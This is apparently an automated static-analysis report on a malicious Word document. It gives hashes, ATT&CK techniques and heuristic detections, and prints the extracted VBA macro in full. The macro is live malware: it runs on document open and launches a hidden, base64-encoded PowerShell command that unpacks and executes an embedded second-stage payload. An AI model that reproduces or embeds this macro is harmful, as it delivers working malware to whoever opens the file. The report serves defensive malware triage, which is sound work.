Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5dc8eee4ce3f535d…

MALICIOUS

Office (OLE)

45.0 KB Created: 2021-06-16 06:52:00 Authoring application: Microsoft Office Word First seen: 2021-06-28
MD5: 988d6689f64e672633f6ab24fa073cc3 SHA-1: 36f8e134d16b5afaddec84f02ad20ec2966a2a57 SHA-256: 5dc8eee4ce3f535d81502bcecb6e21679e5e632aae647ac1999b48f5284d37f9
298 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros with an AutoOpen function that triggers a critical Shell() call. This call executes a PowerShell command, which is heavily obfuscated but appears to download and execute a second-stage payload. The presence of PowerShell references and the AutoOpen macro strongly suggest a malicious document designed for payload delivery.

Heuristics 10

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    & "AKQA7AA=="
  Call Shell(vQVZDsXAK7Y, vbHide)
End Sub
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
      Dim vQVZDsXAK7Y
  vQVZDsXAK7Y = "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQBlAGwAcwBlAHsAJABiAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUA" _
& "JwB9ADsAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwA7ACQAcwAuAEYAaQBsAGUATgBhAG0AZQA9ACQAYgA7ACQAcwAuAEEAcgBnAHUAbQBlAG4AdABzAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGMAIAAmACgAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAYwByAGUAYQB0AGUAKAAoAE4AZ" _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
  aGC4uU5Bo
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
  aGC4uU5Bo
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8824 bytes
SHA-256: d254d61cf75f4287eeb59bcadf10c929f3c75698bcc3de67785d26dfc970d35d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 24 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Attribute VB_Name = "Module2"
Sub aGC4uU5Bo()
  Dim vQVZDsXAK7Y
  vQVZDsXAK7Y = "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQBlAGwAcwBlAHsAJABiAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUA" _
& "JwB9ADsAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwA7ACQAcwAuAEYAaQBsAGUATgBhAG0AZQA9ACQAYgA7ACQAcwAuAEEAcgBnAHUAbQBlAG4AdABzAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGMAIAAmACgAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAYwByAGUAYQB0AGUAKAAoAE4AZ" _
& "QB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcg" _
& "B0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnACcASAA0AHMASQBBAEMASwBtAHkAVwBBAEMAQQA3AFYAWAArADYAKwBpAHkAQgBMACsAZQBTAGEAWgAvADQARgBzAFQATgBUAGcASwBDAHIANABtAEcAUwBUAEMANABLAEMAQwBpAHIAZwA4AFgASAAyADUAQQBhAGgAZQBUAGIAZwBnAFUAYgBCADMAZgAzAGYAYgArAE4AagA1AHUAegBkAE0ANQB1AFoAbQAxAHgAaQBRAHQATgBkAFYAVgAzADEAMQBkAGYAVgBwAFoAMQB" _
& "GAEoAdgBMAGkAaQBFAEMAeABwAEIASwAvAGYALwByADQAWQBXAGsAawBSAGsAagBVAEsAcwBsADQAMQB5AEEAcQBWAHIAUwBzAGYALwBpAEEAcAB5AHUASQBuADYASgBYADQAbABlAGkAOQBzAHcAZQBqADMAdwBjAEcAbAA3ADAAOAB1AFgATABLAEUAcwBTAEUASwBIAGIAZAAzAE0AQwBFAEoAdQBtAEkARAB4AEEARAA2AFMAMQBPAHYARQBIAHMAWABGAEIAQQBqADQAdgBEAGoANAB3AEUAZgBFADcAVQBmAGwAMwBjAHcATABqAGcAdwBIAHYAWQBz" _
& "AFgASQBNAEYAMQBBAGYARwBZAGoAcQAxAHkAYgB4ADYAWgBSAGUAdABQAFUAagB0AEIARAB0AGUAcAB2AHYAMQBYAHIAegA1AC8AYgBMADAAMwBoAE4AVABOAGcAVwBxAHQAcQBSAFkAcABBADIATABRAGcAcgBOAGEASgBQACsAdgBsAGgAbgBwAHgAQgBMAFcAcQA3AEoAbABKAG4ATQBZADIAYQBtADYAOABxAE4AdABwAHIAcQBQAFUAcwBJAEcAQwByAFoAMgBBAEQASgBBAGIAVwAyAG0AMQBqAHMAUABBAHYAdwBTAGcATABJAG0ASQBXADAAQwBsA" _
& "GgAZAB0ADYAcgBZAHEASAB5AHkAUQAyAFcAYwB0AEsAUQBKAHAAVwBHADgAUgB6AGEAZgB2ADUANQBlAFYAZgB0AGUAZgA3AHgAbQBvAFcASQBTADgARQBUAFMAbABDAEkASQBtAFAARwBrAGgATwBuAGcAbgBTAHAAbQBoAEUARgBnAFEAcQBzAEYAKwB3AGwAbwBZAFMATAAzAEoAZQA2AG4AVQBzAGQAbwBvAEQAVQBLAHQARQBHAFkAUQBOADQAbQBmAE0AMQBCAFIAdwBmAHMARAAyAG8AMABxADEAdAAwAHAAWQBhAG8AbQBTAGUAZwBOAG4AOAByAD" _
& "EAQQA1AGQAagBLAEkATABpAHAAVgB0AC8AeAB0AEUAeAAvAEgAVAA5ADMAQwBtAEQAbwAvAHYAegAwADgAZABOAEgAKwAwAEUAWAAwADMAeABMAEYAagB6ADYAOABIAHcAZABBACsAeABiAGIAUgBtAG4AMwBsAFgAcQBWADQASgBxAEUARABMAGUAeABFAEIAeABVAHUARABQAGkAcAA1AGsAbwBQADcAeQBGAFYAbQBjAGgAWABCADAANgBUAFcAKwBiADYARAA5AGsATQBhAHkAagBoAEQAbwBlAHoAegAzAC8AQgBSADcAMQBnAHYAVwB1AFcAZQAwAGs" _
& "AdABsAHAATwBmADEAOQBZAHYATABBADkAaQBMAEEARgA1AEUAUgBlAHUAYQBEAGUANwBYADMAUQBBAFkAMgBCAE4AYwBRAG0AdwA4AHgAQgBUAHQAVgBxADkANABYAGcATQBVAEQAQwBCAHcARABsAGEAaQBWAHUAZgA2AGIAbQBoAEIANgA2AEsAcwB1AGwAMwBuAFEAQQBnAGwAcgA0AGsAUwBsADIAQwB1AGMAdwAvAHAAZgBuAGIAawBsAG8AbABhAFYASQBoAG0ARQBHAEsAVABiAE4AeQBaAGYAeABjAGEATQBCAHcALwBwAE8AOAB1AEwAeAArADcA" _
& "bABOAHgAYQBxAGoAcQBDAFIAcABnADEAaQBtAGUARQBqAFoAegBZAEkARABSAGcAUQBXAEEAMgBDAGoAVgBMAHYAdgBzAFIAbQBLAEwANABPAHEAOQAvAGMAbABUAE8ASQBQAE4ATgBJADAAYwBQAGMAUwAvADAATwA0ADMAMgA3AFUAUgB5AGwASwBNAGwATQBuAEQAWQBjAHUAcQA0AGQAZwBlAGsAWgBzAEUAUwBpAFEAWQBpAGUAQgBiAGgAQwA4ADUAegBIAHQAdABWADMAYwBSAGcAWgBFAE8ASgBqAGcAQwAyAGQAYwBCADcAdwBUAEIAbQAvAGgAa" _
& "wBvAHkASgBOAGoARABXACsATAByAFQAUQAwAGcASwBUAHgAQwBFAEcASwBoADYAOQBrAGYAUQA4AFAAQgBKAC8AMwBPADkAaQB0ADkARABBAGQAWQAxAGYALwB5ADgATQBIAGwARwAzAEYATABLAEIANABZAHYAUABFAFAANQAxAGUARABNAFcAbwBRAFQAMQA2AEMAYwBBAFUAcABZAGIAMgBTADYASAAvAGMALwAwADMAMQBLAEQAMABaAEoAZQBDAGUAaQB0AHIAagBnAEQAeAB6AEIAUwBxAEoAWABZAG4AegBrAHAARgAzAFcASwA0AGcASgBBAGcARA" _
& "BNAEUANwBpAGsARABOAFMAMABLAE4AdgBWAGEATAAyAGkAOABhAEwAVQAwADAAUwBqAC8ARwBwADEAVwBwAFIAbgBzAEkAQgAvAEcANABOAHAAZQB5AEMAbQBLAEUAbQBaAEoAMgBEAGMAdABMADQAOABXADUASwBPAFkAaABjADQAaQBWAHkAVABwAG0AVQBNAHoAQwBNAHcAWABrADgANQBRAFUAMwA2AGEAUwB6AHkAMQA0AE8ANQBGAFcAdQBCAHkATQBuAE8AYQAxAGYAYwA4ADcAbwBHAFMAcgBKAHcAWgBHADUAYwBWAFkASgBvAEgAUQBrAHEAcgB" _
& "FAHUAawB1AFMAYQBuAGoAagBMAFgAQQB0ADIANQBFADUAbgBwAG0AeABMAEgASwBKADkAUwAwAFgANgBYAE4AMgBHAGsAVQBlADIATgA5AFAAZwBzAFAASgAxAGUAeQB5AEgARgAyAFUAVQBTAHYASAB1ADcATABhAHMAMAAyAHgAOQBVAHEAZQBCAEcAQQA1AFAAeABWAEYAcgBYAFEAegAvAHkAWgA3ADAAYQBYAEoAeAA0AEkAMwB6ADYAegBDAGQAdQBmAFAAaABxAG0ARABhAE8AKwB2AEEASgBCAHAAbgB6AFUASQBTAGUASABaAGcAOQBOAEgAbAAx" _
& "AEcATgA4AGwAbABTAFAAKwAzAG4AdQBnAGYANQB3AEUAWQBoADkAdAB6ADkARABnADkATgBFADYARQB1ADkAVABXAFkASgArACsAMQBjAG0AYQBtAHMATABJAGoARAB2AFUAYgB5AFIAaQBxADIAYwB6AHQAMQA1AC8AVABTAGsAcABPAGMARgBlAFMAdAB0AGsAbwAyAFkAMwBrADUAbABzAG0AOQBxAHgANgAyAGgAcgBoAHMANwBWADYAMwBjAG4AdgBYAE8AYQBYAGIANABhAGkAYgBzAE0AUABBAHQAbgBOAHgAUABnAGMAWgBOAGYAUABQAEwATgBjA" _
& "FIAOABtADEAMABRAHAAMABnAEMAdwBVAG0AWgByAGcASgBnADEAegAxAHcAagBvAGoAWQB5AEoASgA0AGcANgB0ADMAYwBFAGgAMABKADcAawBDAFoAdQB3AFEAbQBlAHcAawB5ADYAOQBuAFIAdgBzAFoANQA2AHgAZwBDAEcAawBCACsANwBSAGwAQwA0AHIAWgBYAEYASQA1AHgATgBlAGQAZABPAFkANwBnAFAAQgBrADYAagB4AE4ATQBoAEUAMgBkAHkAcwB3AHUASAB4ADcASQAzAE4ANQBlAFIAdwAxAE8AagBUAFUANgBrAFAASQAzADQASgBwAD" _
& "AAcAB1AGoARABjAGsAegB3AFgANwBsAFQAMABmAEMAbABOAEcARQB5AC8AUQBYAGUAZQA1AEwAQQBZAHMAYQBUAEIANQBmAEEAbgB5AFYAOQBXAGgAbQBmAFUAMgBJAEMAUABYAFoAYgBjAGQAawBqAGwASwBBAC8AYgBBAHMAawA3AFAARQBuAFIAcQBRADgAdgByADgASABYAHEAcgB3AFIANQBPAFQAbQByAEYAbgB2AGkAMgBLAGMAcAB4AFIAYQBNAFAARwBsAFAAYQBSAEcAMgBWADkATgBnAGkAbQBDAEgASgBTAFAATwBLAHYAVgAzADkATABhADM" _
& "ANQBBAFYANQBXAE4AQgA3AGYAOABzADcAQwAxAG0AaABtAGEAQQA3AGoAcgBlAEMATwA5AEoAVwA1ACsAMgBVAFAAaAB1ADgAbwB5ADUAMQBWAFYARQBaAGEAcgBYAGcAWABuAGsAZgBkAHMAYQB6AFMAWgB5AGYATwB6ADEAUgA5ADcAUABGAHAAVgBoAHgAWgB4AGQAMgBoAGgANwBOAGEANQBRADcAbQBMAGMAWABDAHEAbgBzADgAbQBMAFAATAB6AGgAWgB6AFkARQA5AFEAbwBvAGwAaQBmAG0ARQBTAHoAUABBAEQAZQBhAEIAdABsAHIATQBRADQA" _
& "dABiAGIAbQB4AFYAcABJAGQAcQBlADcAaAAwACsAbQBpAHEANwA5AEUATwBDAEgAQwBBAHEAOQArADQAeQBDAE4ARwA2AGgAWQBxAE4AVwBQADYAcABtAGIAdQA1AGkATwBaADQAdgBVAHoAbAA2ADEARwBmAEIASwAwAGwAYgBUAHIAVABUAHgAZQBqADMASgBwAE8AKwA5AEUAeABqAGEAYQBpAGkAdAAvADYAWABlAEYAdABqAE4AVQBBAHEAZwBFAFgAZgArAGMANgB0ADEAMQBOAEIASABHADYANQAxAGgAbABmAGgAZABmAEgAKwBKAEwAcAAyADkAZ" _
& "QB6AHcASQBwAHMANwBtAEIAYwBPAFIAKwByAHEAagAyADIAdQBQAEcANABkAEgASQBlAEoARAB4AG0ARwBqAHkAVQBFADUAeQAvAE8AVQBUAEEAdABhAHoAUQBBAGoATQBHAG0ALwBIAFUAdQBaAGYAVQBuADgAYwBTADYATgB1AEkASAB0AGIAQQBWADUANAB1AFQAbgBIAFIAMABxAEwASABYADIAUABEAEcAZAAwADYAZQBlAG8ASQBkAE0ANQBvAGoAdAAxADcAWABmAHoAcwBUAG8AbgBHAEgALwB1AHYAUwBGAEwAbgBTAC8AcwBCAE4AYgBDAGUAaw" _
& "ArAEoAQgBOAHUASQBCAFEAZABVADUANgBZAGoAaQBTAGUATQA4ADUAYwBuAFEAMQBPAGsAYQBZAGUAMgBiAHEAMAA2AFoAWgAyAEEATQBmAEYARQA0ADYAZgBXAG0AOAA1AHQAYQBOAFMAVQBtAGYAUgBPAG4ASwBVAHcANABnADkAWAArAFEAdgA4AG0AYgBTAG0AOABaAHMAdwBVAGsAcgBHAGoARgBwADUAegBCAFkAeABlAEQAUQBtAC8AbABLAEYAZwBWAHgASAA0AEsAMQByADEASABzADMAbQBoAE4AQgByAC8AKwBVAGgAWQBlAFgASABrAHEAdgB" _
& "vAEMAUwBOAHoAWABsAGUAKwAyAEEAYgBDAFMAcABhADAAQgBjAGEALwBBADEALwA2AGoAdgA0AHoAZwBaADMANgAvAHUAWgBlAHkAVgBHAHIAWABhAHQAZQBNAEwAUQBCAEkAQgBpAEIAcwBtADMARgBJADkAcQBpAFEATABZAFcAeQBXAG4AUQBPACsANQBIAEgAUABjAHUAcwBrAHkAcwBaAG0AagBZAGYAZAB6AHIAdQBqAE8AdgBGAFYAcwBQADYAdABuAFgAaABNAGYAZgBtAHkAeAB6ADcAaQBvAGgAdgBuAHoAVABtAEkASABPAFEAMgBxAEwAeABM" _
& "AFUAYgBnADcAbwBIAEsAYQB3AGgASAArAGUARgBTAGoAKwBGAGoAVQBzAEsARgBHADIAVgB0AGMAUQBiAG4AWgBoAFYAZQA3ADkAYgBJAEkAVgA2AEEAZgB4AE8AegAvAEYANgB0ADcANwBYAGYAeAB5AC8AcABuAHIATAA3AE4ALwBjAFAAcQBEACsARgBIAE4AVwA3AHgALwBtADMANgByAHgATQAvAEIAZQBkAFAAQgA3ADQAeABQAEkAUQBsAE4AWAB4ADUAUQBYAEIAcgBuAHQANgBMAC8AMAA2AEwATgA2ADMAbABOAFMAawA0ADcALwBiADkASwBmA" _
& "DgAZQBMAEQATAAwAFcAYwBFAHQANQA2AGUAUAAvAHcASAAvAHQATQBpAGUAaQBRAHcAQQBBAEEAPQA9ACcAJwApACkAKQAsAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApACkAKQAnADsAJABzAC4AVQBzAGUAUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAPQAkAG" _
& "YAYQBsAHMAZQA7ACQAcwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAPQAkAHQAcgB1AGUAOwAkAHMALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAPQAnAEgAaQBkAGQAZQBuACcAOwAkAHMALgBDAHIAZQBhAHQAZQBOAG8AVwBpAG4AZABvAHcAPQAkAHQAcgB1AGUAOwAkAHAAPQBbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAHQAYQByAHQAKAAkAHM" _
& "AKQA7AA=="
  Call Shell(vQVZDsXAK7Y, vbHide)
End Sub
Sub AutoOpen()
  aGC4uU5Bo
End Sub
Sub Workbook_Open()
  aGC4uU5Bo
End Sub

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